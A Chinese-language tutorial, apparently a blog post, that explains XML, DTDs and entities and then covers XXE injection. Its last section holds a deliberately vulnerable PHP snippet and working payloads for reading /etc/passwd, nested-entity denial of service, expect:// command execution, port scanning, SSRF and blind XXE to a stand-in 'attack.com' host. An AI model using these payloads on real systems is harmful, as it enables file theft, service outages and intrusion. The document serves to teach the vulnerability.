初见XXE

这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。

什么是XML呢

XML,全称可扩展标记语言,XML是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以为标记指定描述数据的名称。由于json的出现,xml的受欢迎程度大大下降。

XML文档结构包括XML声明+DTD文档类型定义+文档元素

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

其中<note>是根元素,每个XML文档必须包含一个根元素。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

DTD

DTD基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
实体引用
XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' " 替换 < > & ' "
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。
dtd的引入方式
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部 DTD
使用内部的dtd文件,即将约束规则定义在xml文档中

<!DOCTYPE 根元素名称 [元素声明]>

示例代码:

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

外部 DTD
(1)引入外部的dtd文件

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

(2)使用外部的dtd文件(网络上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

当使用外部DTD时,通过如下语法引入:

<!DOCTYPE root-element SYSTEM "filename">

示例代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

PCDATA
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&<,或者>字符,需要用& < >实体来分别替换。
CDATA
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD元素
img
DTD属性
属性声明语法

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例:

<!ATTLIST payment Luckey CDATA "Q">

XML实例:

<payment Luckey="Q" />

以下是 属性类型的选项

20191202150821-85ef2e3e-14d2-1

默认属性值可使用下列值:

20191202150849-96eb9a7e-14d2-1

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

按实体有无参分类,实体分为一般实体和参数实体
一般实体的声明<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
ps:经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。

参数实体的声明<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
ps:经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

按实体使用方式分类,实体分为内部声明实体和引用外部实体
内部实体

<!ENTITY 实体名称 "实体的值">

内部实体示例代码:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

外部实体
外部实体,用来引入外部资源。有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

外部实体示例代码:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>

外部实体可支持http、file等协议。不同程序支持的协议不同:
img
PHP支持的协议会更多一些,但需要一定的扩展:
img
PHP引用外部实体,常见的利用协议

file://文件绝对路径 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php

参数实体+外部实体

<!ENTITY % 实体名称 SYSTEM "URI/URL">

参数实体+外部实体示例代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  %file;
]>

%file(参数实体)是在DTD中被引用的,而&file;是在xml文档中被引用的。

XML外部实体注入(XXE)

XXE漏洞简介

XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞

XXE常见利用方式

与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

读取任意文件

首先准备一个有XXE漏洞的文件,这里以php文件为例
示例代码

<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//注释掉该语句即为无回显的情况
?>

构造payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>
或者
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

如果搭配vps弹shell的话需要在自己的VPS上写一个dtd

拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

大概的逻辑就是通过嵌套占用服务器的资源,来造成服务器的服务崩溃

RCE

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

端口扫描

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080“>]>
<root>
<name>&xxe;</name>
</root>

盲注

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://attack.com/1.dto“>]>
<root>
<name>&xxe;</name>
</root>

SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

X-Include

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>